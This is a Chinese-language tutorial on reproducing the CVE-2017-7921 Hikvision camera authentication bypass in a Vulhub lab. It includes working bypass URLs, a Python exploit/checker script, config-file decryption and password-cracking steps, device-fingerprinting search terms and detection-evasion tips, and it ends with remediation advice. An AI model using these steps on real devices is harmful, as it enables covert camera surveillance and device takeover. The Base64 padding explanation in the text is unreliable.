CVE-2017-7921漏洞复现:物联网设备认证绕过原理与实战

📅 2026/7/6 19:41:48
CVE-2017-7921漏洞复现:物联网设备认证绕过原理与实战
1. 项目概述与背景最近在整理一些经典的物联网设备漏洞案例准备给团队做一次内部的安全意识培训。翻看资料时CVE-2017-7921这个编号又跳了出来。说实话这个2017年曝出的海康威视摄像头认证绕过漏洞其“生命力”之顽强远超很多人的想象。即便到了2025年在互联网空间测绘平台上你依然能轻松找到成千上万台未修复此漏洞的设备。这背后反映出的远不止一个技术漏洞那么简单更涉及到物联网设备生命周期管理、供应链安全以及企业安全运维意识的深层问题。所以我觉得有必要把这个漏洞的复现过程、技术原理以及它为何能“经久不衰”的原因系统地梳理一遍。无论你是刚入门的安全爱好者想通过一个经典案例练手还是运维人员想检查自家资产亦或是开发人员想了解如何避免写出类似的漏洞代码这篇内容都能给你提供一份清晰的路线图和思考角度。这个漏洞的核心简单来说就是海康威视部分网络摄像头主要是2017年及之前出厂的部分型号的Web管理界面存在一个认证绕过缺陷。攻击者无需知道管理员用户名和密码通过构造特定的HTTP请求就能直接访问本应受权限保护的敏感接口从而获取设备实时画面、用户列表甚至下载包含加密密码的配置文件。其危害等级为“高危”因为它直接绕过了最基础的认证防线让设备门户大开。接下来我会带你从环境搭建、漏洞原理分析、手动复现到自动化脚本编写完整地走一遍这个流程并分享一些在复现过程中容易踩的坑和独家技巧。2. 漏洞原理深度剖析2.1 认证机制的设计缺陷要理解CVE-2017-7921我们得先看看当时海康威视摄像头Web接口的认证逻辑是怎么设计的。很多物联网设备为了便于远程管理会提供一个Web管理页面。当你访问需要权限的页面比如/System/configurationFile用于下载配置时服务器通常会检查你的会话Session或者要求你进行HTTP Basic认证。海康威视的这部分设备采用了一种基于URL参数的认证方式。关键点在于auth这个参数。服务器端代码在处理诸如/Security/users或/onvif-http/snapshot这类敏感接口的请求时会尝试从URL中解析auth参数的值。这个值看起来是一串Base64编码的字符串例如YWRtaW46MTEK。这里就出现了第一个致命问题认证逻辑的缺失或错误。正常的逻辑应该是服务器解码auth参数得到类似admin:password的格式然后与设备存储的凭据进行校验。但存在漏洞的固件版本中这段校验代码要么完全缺失要么存在逻辑错误导致服务器只要看到auth参数存在并且其值符合某种格式甚至可能只是简单地解码后检查格式而不验证内容就直接认为请求是合法的。更具体地说YWRtaW46MTEK解码后是admin:11末尾的K是Base64填充符的编码解码后是admin:11\n。在漏洞版本中服务器可能只检查解码后的字符串是否包含冒号分隔的两部分或者直接信任了这个伪造的凭据从而绕过了密码验证环节。2.2 影响范围与设备指纹这个漏洞并非影响所有海康威视设备。它主要波及的是运行特定版本固件的网络摄像机、网络录像机NVR等。这些设备通常具有以下特征固件版本主要集中在2017年第一季度及之前发布的固件。例如某些设备的固件版本号在V5.4.0至V5.4.5之间可能存在风险。但这并非绝对因为海康有庞大的产品线漏洞与硬件型号、固件编译时间都有关系。Web界面特征存在漏洞的设备通常有一个“经典”或“旧版”的Web管理界面。你可以通过访问设备的IP地址观察登录页面的样式来初步判断。旧版界面通常设计较为古朴而修复后的新版界面则采用了不同的前端框架和API交互方式。ONVIF接口漏洞涉及/onvif-http/snapshot路径这是ONVIF开放网络视频接口论坛协议中用于获取快照的标准接口之一。这说明漏洞可能影响了设备对ONVIF标准接口的实现。在实际互联网扫描中你可以使用titleHikvision Web Server或者bodyHikvision作为搜索关键词再结合对特定路径的访问测试来定位潜在目标。需要极度强调的是所有复现操作必须在你自己拥有完全控制权的实验室环境如虚拟机、专用测试设备中进行任何对公网未知设备的探测和测试都是非法且不道德的。2.3 漏洞利用链拆解利用这个漏洞攻击者可以完成一个完整的入侵链条信息泄露用户枚举通过访问/Security/users?authYWRtaW46MTEK直接获取设备上的所有用户列表包括管理员用户名。这为后续的密码破解或社会工程学攻击提供了信息基础。实时监控窃取通过访问/onvif-http/snapshot?authYWRtaW46MTEK无需登录即可获取摄像头的当前实时快照。这意味着攻击者可以实时窥视摄像头监控的区域隐私泄露风险极大。配置窃取与密码解密通过访问/System/configurationFile?authYWRtaW46MTEK可以下载设备的完整配置文件。这个文件是加密的但加密算法已被公开。通过使用专门的解密工具或脚本可以从中提取出管理员密码的密文并进一步解密。完全控制获得管理员密码后攻击者即可正常登录Web管理界面对设备进行任意配置包括修改密码、设置网络参数、甚至升级恶意固件从而将设备完全置于控制之下。这个利用链清晰展示了从信息泄露到完全控制的全过程是一个教科书般的“认证绕过导致权限提升”案例。3. 复现环境搭建与准备3.1 靶机环境选择为了安全、合法地复现漏洞我们需要一个受控的漏洞环境。主要有以下几种方案方案一使用Vulhub靶场推荐Vulhub是一个基于Docker的漏洞环境集合非常适合学习和研究。它提供了CVE-2017-7921的现成环境。确保你的机器上安装了Docker和Docker Compose。从Vulhub官网下载或克隆项目到本地。进入vulhub/hikvision/CVE-2017-7921目录。执行命令docker-compose up -d它会自动拉取漏洞镜像并启动一个模拟的海康威视摄像头Web服务。注意Vulhub环境是高度模拟的可能不包含真实的配置文件解密环节主要用于验证前期的认证绕过和信息泄露。它的优势是搭建快速、完全隔离、合法。方案二使用旧版固件模拟设备如果你有更深入的研究需求可以尝试寻找特定型号摄像头的历史固件并在虚拟机如QEMU或仿真环境中运行。这种方法难度较大涉及固件提取、系统仿真等步骤不适合初学者。方案三物理测试设备在确保完全隔离于生产网络的前提下使用一台确实存在漏洞的二手或报废海康威视摄像头进行测试。这是最真实的环境但设备获取和网络隔离需要成本。对于本次复现我们以方案一Vulhub作为主要环境进行讲解。3.2 攻击机工具准备你的攻击机通常是你的Kali Linux虚拟机或物理机需要准备以下工具Web浏览器Chrome或Firefox用于手动测试和观察HTTP请求响应。Burp Suite / OWASP ZAP用于拦截、重放和修改HTTP请求是手动测试的利器。cURL / Wget命令行下的HTTP客户端便于编写脚本和自动化测试。Python 3环境用于编写自动化复现脚本和配置文件解密脚本。确保安装requests,base64,xml.etree.ElementTree等常用库。配置文件解密工具需要准备一个能解密海康威视配置文件的工具。网上有开源的Python脚本例如基于DES或AES算法的解密脚本。我们会在后续步骤中详细讲解。3.3 网络配置与注意事项确保你的靶机Docker容器和攻击机在同一个网络内能够互相通信。如果你使用Vulhub的默认配置Docker容器会映射到宿主机的某个端口例如8080。你需要在攻击机的浏览器中访问http://宿主机IP:8080来访问靶机。重要安全提醒再次强调整个实验环境必须与互联网隔离。建议在个人电脑的虚拟机集群内完成或者使用完全离线的物理网络。切勿将存在漏洞的测试环境暴露在公网否则它可能瞬间成为僵尸网络的一部分。4. 手动漏洞复现与验证假设我们的靶机地址是http://192.168.1.100:8080。下面我们一步步手动验证漏洞。4.1 第一步识别设备与漏洞页面首先访问http://192.168.1.100:8080。如果看到海康威视的登录页面记下页面特征。旧版漏洞页面可能比较简洁而Vulhub模拟的页面可能是一个简单的登录框。关键不在于登录而在于尝试访问那些需要认证的接口。我们直接进入漏洞验证环节。4.2 第二步绕过认证获取用户列表在浏览器地址栏或使用cURL构造如下请求http://192.168.1.100:8080/Security/users?authYWRtaW46MTEK发送这个请求。预期成功响应服务器会返回一个XML格式的数据类似下面这样UserList version1.0 User id1/id userNameadmin/userName userLevelAdministrator/userLevel /User !-- 可能还有其他用户 -- /UserList这直接证明了认证绕过成功。服务器在没有验证auth参数真实性的情况下就返回了敏感的用户信息。如果返回的是401 Unauthorized、403 Forbidden或者跳转到登录页则说明该接口可能已修复或者该设备不存在此漏洞。4.3 第三步绕过认证获取监控快照接下来尝试获取摄像头实时画面快照http://192.168.1.100:8080/onvif-http/snapshot?authYWRtaW46MTEK预期成功响应浏览器会显示一张JPEG格式的图片或者提示你下载一个图片文件。这就是摄像头当前的快照。在Vulhub环境中它可能返回一张固定的测试图片。这个操作的危险性在于攻击者可以持续请求这个接口实现近乎实时的监控偷窥。4.4 第四步下载加密的配置文件这是获取最终控制权的关键一步。请求配置下载接口http://192.168.1.100:8080/System/configurationFile?authYWRtaW46MTEK预期成功响应浏览器会自动下载一个文件通常名为configurationFile无后缀或config.tar.gz。这个文件就是设备的配置文件其中包含了网络设置、用户密码加密后等核心信息。实操心得有时服务器可能返回一个乱码页面或错误而不是文件下载。这可能是因为HTTP响应头中的Content-Disposition字段设置不正确。此时你可以使用cURL的-O或-o参数来指定保存文件名例如curl -O http://192.168.1.100:8080/System/configurationFile?authYWRtaW46MTEK。5. 配置文件解密与密码获取下载到的configurationFile是一个经过加密的压缩包或数据文件。海康威视使用了对称加密算法早期版本可能是DES后续版本可能升级来保护其中的敏感信息。5.1 解密原理与工具网上公开的解密方法通常需要以下步骤识别文件格式早期的配置文件可能是一个特殊的二进制结构需要先解包。后来的版本可能直接是一个使用特定密钥和IV初始化向量进行AES-CBC加密的数据块。获取密钥加解密的密钥是硬编码在设备固件或客户端软件中的。安全研究人员通过逆向工程分析已经提取出了这些密钥。例如一个已知的密钥可能是23fdc2e5e5f7a601十六进制格式。解密操作使用正确的算法、密钥和IV对文件进行解密解密后通常能得到一个XML或类似结构的明文配置文件。解密工具选择在线解密网站不推荐出于安全考虑绝对不要将真实的配置文件上传到任何不明网站。开源Python脚本推荐GitHub上有多个开源项目提供了解密脚本。例如搜索“hikvision config decrypt”可以找到相关工具。使用前务必阅读代码理解其工作原理并在隔离环境中运行。5.2 使用Python脚本进行解密假设我们找到了一个名为hikvision_decrypt.py的脚本。它的用法可能如下python3 hikvision_decrypt.py -i configurationFile -o config_decrypted.xml解密后用文本编辑器打开config_decrypted.xml搜索password、admin、passwd等关键词。你可能会找到类似这样的字段userNameadmin/userName password$1$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/password这里的$1$...格式可能是MD5加盐哈希$1$是MD5 crypt的标识。对于这种哈希你需要使用密码破解工具如John the Ripper或hashcat进行暴力破解或字典攻击。但非常关键的一点是很多存在漏洞的设备从未修改过默认密码所以在尝试破解复杂的哈希之前务必先尝试一些常见的默认密码例如12345123456adminhikvision设备背面标签上的验证码在解密出的配置文件中有时密码甚至可能是以某种编码如Base64或简单加密形式存储解密脚本可能会直接将其还原成明文。5.3 登录验证与权限确认获得可能的用户名和密码后最后一步就是回到最初的Web登录页面 (http://192.168.1.100:8080) 进行登录验证。输入用户名通常是admin和你获得的密码。如果登录成功恭喜你你已经完全复现了CVE-2017-7921漏洞的整个利用链从认证绕过到最终获取系统控制权。注意事项在真实世界的测试中即使获得了密码哈希破解也可能需要很长时间。复现的重点在于理解“认证绕过导致配置泄露”这一核心漏洞链。登录验证环节在实验室环境中有时可以省略或者使用已知的默认密码进行。6. 自动化复现脚本编写手动复现有助于理解过程但对于批量验证或渗透测试自动化脚本是必不可少的。下面我们用Python编写一个简单的复现脚本实现用户枚举、快照获取和配置下载功能。6.1 脚本设计与依赖库我们将使用requests库来发送HTTP请求argparse库来处理命令行参数base64库来处理auth参数虽然它是固定的。脚本结构如下解析目标IP和端口。依次尝试访问三个漏洞接口。根据响应内容判断漏洞是否存在并保存获取到的数据。#!/usr/bin/env python3 CVE-2017-7921 海康威视摄像头漏洞自动化验证脚本 仅用于授权测试和教育目的。 import requests import argparse import sys from urllib.parse import urljoin # 漏洞利用的固定auth参数 VULN_AUTH YWRtaW46MTEK def check_vulnerability(base_url): 检查目标是否存在CVE-2017-7921漏洞 headers {User-Agent: Mozilla/5.0 (测试脚本)} session requests.Session() vuln_endpoints { 用户列表: /Security/users, 实时快照: /onvif-http/snapshot, 配置文件: /System/configurationFile } results {} for name, endpoint in vuln_endpoints.items(): url urljoin(base_url, endpoint) params {auth: VULN_AUTH} try: print(f[*] 尝试获取 {name}...) resp session.get(url, paramsparams, headersheaders, timeout10) if resp.status_code 200: print(f [] 成功状态码: {resp.status_code}) results[name] resp.content # 保存文件 if name 配置文件: filename configurationFile.bin with open(filename, wb) as f: f.write(resp.content) print(f [] 配置文件已保存为: {filename}) elif name 实时快照: filename snapshot.jpg with open(filename, wb) as f: f.write(resp.content) print(f [] 快照已保存为: {filename}) else: # 用户列表 print(f [] 响应内容:\n{resp.text[:500]}) # 打印前500字符 else: print(f [-] 失败。状态码: {resp.status_code}) results[name] None except requests.exceptions.RequestException as e: print(f [-] 请求发生错误: {e}) results[name] None # 简单漏洞判断逻辑如果三个接口至少有一个返回200且非错误页面则怀疑存在漏洞 # 更严谨的判断需要分析响应内容 vulnerable any(results.values()) return vulnerable, results def main(): parser argparse.ArgumentParser(descriptionCVE-2017-7921 漏洞验证工具) parser.add_argument(target, help目标URL (例如: http://192.168.1.100:8080)) args parser.parse_args() base_url args.target.rstrip(/) print(f[*] 开始扫描目标: {base_url}) is_vuln, data check_vulnerability(base_url) if is_vuln: print(f\n[!] 目标 {base_url} 可能存在 CVE-2017-7921 漏洞) # 这里可以添加自动解密配置文件的逻辑需额外解密函数 # decrypt_configuration(configurationFile.bin) else: print(f\n[-] 目标 {base_url} 可能不存在 CVE-2017-7921 漏洞或接口已修复。) print(\n[*] 扫描完成。) if __name__ __main__: main()6.2 脚本使用与结果解析保存脚本为cve_2017_7921_checker.py运行方式如下python3 cve_2017_7921_checker.py http://192.168.1.100:8080脚本会依次测试三个接口并将下载的文件保存到当前目录。你需要手动分析下载的configurationFile.bin文件并使用独立的解密脚本进行解密。脚本增强建议多线程/异步如果需要扫描多个目标可以引入concurrent.futures或aiohttp进行并发请求。智能判断除了状态码还应分析响应内容。例如对于用户列表接口检查返回的是否是包含UserList的XML对于快照接口检查Content-Type是否为image/jpeg。集成解密将解密功能集成到脚本中实现从扫描到获取明文密码的全自动化。但这需要你有一个可靠且合法的解密函数。日志记录添加详细的日志功能记录每个目标的测试结果便于批量审计。实操心得在编写自动化脚本时务必加入适当的延迟time.sleep和随机User-Agent避免对目标设备造成过大压力或触发简单的防护机制。此外处理网络超时和异常非常重要否则脚本在遇到不响应的目标时会卡住。7. 漏洞修复方案与防御建议复现漏洞是为了更好地防御。对于不同角色修复和防御措施如下7.1 设备所有者/运维人员立即升级固件这是最根本的解决方案。访问海康威视官方网站根据你的设备型号下载并安装最新的固件。新固件已经修复了该认证绕过漏洞。修改默认密码为所有物联网设备设置强密码并定期更换。避免使用出厂默认密码或弱密码。网络隔离切勿将摄像头、NVR等物联网设备直接暴露在公网。应将其部署在内网并通过VPN访问。如果必须远程访问使用防火墙严格限制访问源IP并仅开放必要的端口。定期安全审计使用扫描工具如Nessus, OpenVAS或聘请专业团队定期对网络中的物联网设备进行漏洞扫描和安全评估。禁用不必要的服务在设备管理界面中关闭不需要的服务和接口例如UPnP、Telnet等。7.2 设备制造商/开发者安全的认证设计永远不要信任客户端传来的、未经服务器端严格校验的凭据。认证逻辑应放在服务器端并采用强密码哈希算法如bcrypt, Argon2存储密码。输入验证与过滤对所有用户输入进行严格的验证和过滤特别是URL参数、HTTP头等。最小权限原则即使接口存在漏洞也应遵循最小权限原则避免一个漏洞接口泄露过多敏感信息或导致过高权限操作。安全的默认配置出厂设备不应使用广为人知的默认密码应强制用户首次登录时修改。建立漏洞响应机制建立顺畅的漏洞接收和修复通道并及时为已售出的设备提供安全补丁。7.3 安全研究人员与爱好者负责任的披露如果发现新的漏洞应遵循负责任的披露流程先通知厂商给予合理的修复时间再公开细节。在法律允许的范围内研究所有研究活动必须在你自己拥有完全控制权的环境中进行。关注供应链安全CVE-2017-7921这类漏洞提醒我们一个广泛使用的硬件或软件组件出现漏洞其影响是供应链级别的。关注你所用设备的核心组件及其安全状况。8. 常见问题与排查技巧实录在复现和后续分析中你可能会遇到以下问题8.1 问题访问漏洞接口返回404或403错误可能原因及排查路径错误不同型号或固件版本的设备其接口路径可能略有差异。尝试使用目录遍历或模糊测试如ffuf,dirb来发现其他可能的路径。例如尝试/Security/users/security/users/api/Security/users等。设备已修复该设备已经升级了固件漏洞路径已被移除或保护。这是最理想的情况。访问控制设备可能配置了IP白名单或其他网络层访问控制即使漏洞存在你的IP也无法访问。Vulhub环境问题确保Docker容器已正确启动 (docker ps查看)并检查容器日志 (docker logs container_id) 是否有错误。8.2 问题下载的配置文件无法解密可能原因及排查文件格式不符确认下载的是否是真正的配置文件。有时请求会返回一个错误页面或空白文件。用file命令或十六进制编辑器查看文件头。加密算法或密钥不同海康威视不同时期、不同型号的设备可能使用了不同的加密算法和密钥。你需要找到匹配你设备型号/固件版本的解密工具。尝试搜索更具体的型号信息加上“decrypt”关键词。文件损坏网络传输过程中文件可能不完整。尝试重新下载并比较文件哈希值。解密脚本使用错误仔细阅读解密脚本的说明确认所需的Python库是否已安装命令行参数是否正确。8.3 问题脚本运行缓慢或卡住可能原因及排查网络超时目标设备可能离线或无响应。为requests库设置合理的timeout参数如10秒并使用try-except捕获超时异常。缺乏并发控制在批量扫描时如果同时发起大量连接可能会被中间网络设备限制或导致本机资源耗尽。使用连接池或限制并发数。目标设备性能差一些老旧的摄像头处理能力有限响应慢。适当增加超时时间。8.4 问题漏洞复现成功但登录失败可能原因及排查密码错误解密得到的密码可能不是Web登录密码或者是其他功能的密码。尝试用解密出的密码通过ONVIF协议或SDK登录。账户锁定多次尝试失败可能导致账户被临时锁定。等待一段时间再试。多级认证某些设备除了Web密码可能还有独立的视频流密码或更高级别的安全认证。默认密码尝试即使解密失败也务必尝试常见的默认密码列表。8.5 独家避坑技巧“指纹”收集先行在发起漏洞探测前先通过简单的HTTP请求如访问根路径/收集设备的Server头、页面标题、特定JS/CSS文件等“指纹”信息。这有助于更精确地识别设备型号和潜在漏洞版本避免盲目测试。使用Burp Suite的Intruder模块进行路径模糊测试如果你怀疑接口路径有变化可以将路径中的目录名设置为变量使用Burp Intruder加载一个常见的路径字典如api, cgi-bin, web, sec等进行爆破效率远高于手动尝试。注意HTTP/HTTPS有些设备可能同时开启HTTP和HTTPS服务且漏洞可能只存在于其中一个协议上。如果HTTP不成功尝试HTTPS注意证书警告。配置文件解密后的深入挖掘解密出的XML配置文件可能包含大量信息如网络配置、SNMP社区字符串、NTP服务器地址、其他服务端口等。这些信息对于后续的横向移动或网络拓扑绘制非常有价值。法律与道德红线时刻牢记在好奇心和技术探索之外务必划定清晰的界限。所有操作必须在属于自己的实验室环境中完成。对公网设备哪怕只是发送一个探测请求其法律性质也可能等同于“非法侵入计算机信息系统”的预备行为。真正的安全能力体现在构建防御而非破坏。通过以上八个部分的详细拆解我们从漏洞原理、环境搭建、手动/自动复现一直讲到修复防御和疑难排查基本覆盖了CVE-2017-7921这个经典漏洞的方方面面。这个漏洞虽然年份已久但它像一面镜子照出了物联网安全领域长期存在的“重功能、轻安全”、“出厂即遗忘”的顽疾。作为安全从业者我们的价值不仅仅是复现一个个漏洞更是理解其背后的根因并帮助构建更安全的系统。希望这篇超过五千字的详细记录能为你带来切实的收获。在你自己搭建的实验室里动手试一试吧感受一下那种“原来如此”的瞬间这才是技术学习中最迷人的部分。